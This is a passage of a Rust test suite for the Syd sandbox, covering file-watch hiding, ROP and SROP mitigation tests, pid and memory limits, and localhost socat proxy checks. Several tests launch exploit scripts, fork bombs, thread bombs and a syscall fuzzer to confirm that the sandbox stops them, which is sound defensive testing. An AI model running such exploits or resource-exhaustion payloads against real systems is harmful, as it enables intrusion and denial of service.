    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_cwd_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_path_allow() -> TestResult {
    let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
    let (dir, path) = cwd.split();
    let dir = dir.to_string();
    let path = path.to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_path_deny() -> TestResult {
    let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
    let (dir, path) = cwd.split();
    let dir = dir.to_string();
    let path = path.to_string();
    let cwd = cwd.to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,chdir,readdir+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_symlink_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_hidden!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_inotify_add_watch_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_allow() -> TestResult {
    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Inotify is disabled by default.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

fn test_syd_exp_interrupt_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("interrupt_mkdir", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_bind_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .do_("interrupt_bind_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_bind_unix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+/***")
        .do_("interrupt_bind_unix", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_connect_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("interrupt_connect_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_ROP_linux() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must succeed outside Syd.
    //
    // FIXME: Ignore return value, this is not very reliable.
    let status = Command::new("python")
        .args(["./stack-pivot", "run"])
        .status()
        .expect("execute python");
    let code = status.code().unwrap_or(127);
    ignore!(code == 42, "status:{status:?}");

    Ok(())
}

fn test_syd_ROP_default() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must fail due to execve args1==NULL||arg2==NULL.
    // We set log=info to see SegvGuard in action.
    // AT_SECURE mitigation may interefere so we disable.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("sandbox/read,stat,write,create,exec:on")
        .m("allow/read,stat,write,create,exec+/***")
        .argv(["python", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ROP_unsafe_exec() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_exec, ROP should be prevented by ptrace
    // mitigations.
    //
    // FIXME: Ignore return value, this is not very reliable.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/read,stat,write,create,exec:on")
        .m("allow/read,stat,write,create,exec+/***")
        .argv(["python", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    ignore!(code == 42, "status:{status:?}");

    Ok(())
}

fn test_syd_ROP_unsafe_ptrace() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_{exec,ptrace}:1, ROP should succeed.
    //
    // FIXME: Ignore return value, this is not very reliable.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("trace/allow_unsafe_exec:1")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/read,stat,write,create,exec:on")
        .m("allow/read,stat,write,create,exec+/***")
        .argv(["python", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    ignore!(code == 42, "status:{status:?}");

    Ok(())
}

fn test_syd_exp_trinity() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "0");

    let epoch = std::time::Instant::now();

    let status = syd()
        .p("landlock")
        .p("immutable")
        .p("trace")
        .m("segvguard/expiry:0")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_perf:1")
        .m("trace/allow_unsafe_prlimit:1")
        .do_("syscall_fuzz", NONE)
        .status()
        .expect("execute syd");

    let code = status.code().unwrap_or(127);
    let time = format_duration(epoch.elapsed());
    println!("# fuzz completed in {time} with code {code}.");

    env::set_var("SYD_TEST_TIMEOUT", timeout);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_SROP_linux() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must succeed outside Syd.
    //
    // FIXME: Ignore return value, this is not very reliable.
    let status = Command::new("python")
        .args(["./srop", "run"])
        .status()
        .expect("execute python");
    let code = status.code().unwrap_or(127);
    ignore!(code == 42, "status:{status:?}");

    Ok(())
}

fn test_syd_SROP_default() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must fail due to execve args1==NULL||arg2==NULL.
    // That's why we set unsafe_exec:1 to test SROP mitigations only.
    // We set log=info to see SegvGuard in action.
    // AT_SECURE mitigation may interefere so we disable.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/read,stat,write,create,exec:on")
        .m("allow/read,stat,write,create,exec+/***")
        .argv(["python", "./srop", "run"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_SROP_unsafe() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_sigreturn:1, SROP should succeed.
    //
    // FIXME: Ignore return value, this is not very reliable.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("trace/allow_unsafe_exec:1")
        .m("trace/allow_unsafe_sigreturn:1")
        .m("sandbox/read,stat,write,create,exec:on")
        .m("allow/read,stat,write,create,exec+/***")
        .argv(["python", "./srop", "run"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    ignore!(code == 42, "status:{status:?}");

    Ok(())
}

fn test_syd_SROP_detect_genuine_sigreturn() -> TestResult {
    skip_if_strace!();

    let sigs = vec![
        libc::SIGHUP.to_string(),
        libc::SIGINT.to_string(),
        libc::SIGPIPE.to_string(),
        libc::SIGTERM.to_string(),
    ];

    let status = syd()
        .p("off")
        .do_("sighandle", &sigs)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_SROP_detect_artificial_sigreturn_default() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .p("off")
        .do_("sigreturn", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_SROP_detect_artificial_sigreturn_unsafe() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_sigreturn:1")
        .do_("sigreturn", NONE)
        .status()
        .expect("execute syd");
    assert_status_aborted!(status);

    Ok(())
}

fn test_syd_pid_thread_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .do_("thread", ["0", "24"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("pid/max:16")
        .do_("fork", ["0", "24"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_bomb() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("pid/max:16")
        .do_("fork_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_bomb_asm() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("pid/max:16")
        .do_("fork_bomb_asm", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_thread_bomb() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("pid/max:16")
        .do_("thread_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_exp_pid_stress_ng_kill() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("pid/max:1")
        .argv(["stress-ng", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_exp_pid_stress_ng_allow() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:warn")
        .m("pid/max:2")
        .argv(["stress-ng", "--log-file", "log", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;

    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_exp_pid_stress_ng_fork() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:filter")
        .m("pid/max:128")
        .argv([
            "stress-ng",
            "--log-file",
            "log",
            "-f",
            "4",
            "-t",
            "15",
            "--fork-max",
            "1024",
        ])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;
    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_mem_alloc() -> TestResult {
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .p("off")
        .m("sandbox/mem:on")
        .m("mem/max:128M")
        .m("mem/vm_max:256M")
        .do_("alloc", NONE)
        .status()
        .expect("execute syd");
    // This test times out on GITLAB CI.
    // TODO: Investigate, see: #166.
    if !*GL_BUILD {
        // Segmentation fault is expected.
        // IOT is confusing but happens on alpine+musl.
        // Otherwise we require ENOMEM.
        assert!(
            matches!(
                status.code().unwrap_or(127),
                nix::libc::ENOMEM | EX_SIGIOT | EX_SIGSEGV
            ),
            "status:{status:?}"
        );
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_1() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_2() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
            "--malloc-touch",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_mmap() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:16M")
        .m("mem/vm_max:64M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--mmap",
            "4",
            "--mmap-bytes",
            "1G",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    fixup!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_tor_recv4_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP4:127.0.0.1:9050,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_recv6_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP6:[::1]:9050,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "kill", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
:>log
:>msg
set -x
socat -u -d -d TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while test `grep -c childdied log` -lt 1; do :; done
EOF
kill -9 $p; wait $p || true
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "kill", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
:>log
:>msg
set -x
socat -u -d -d TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
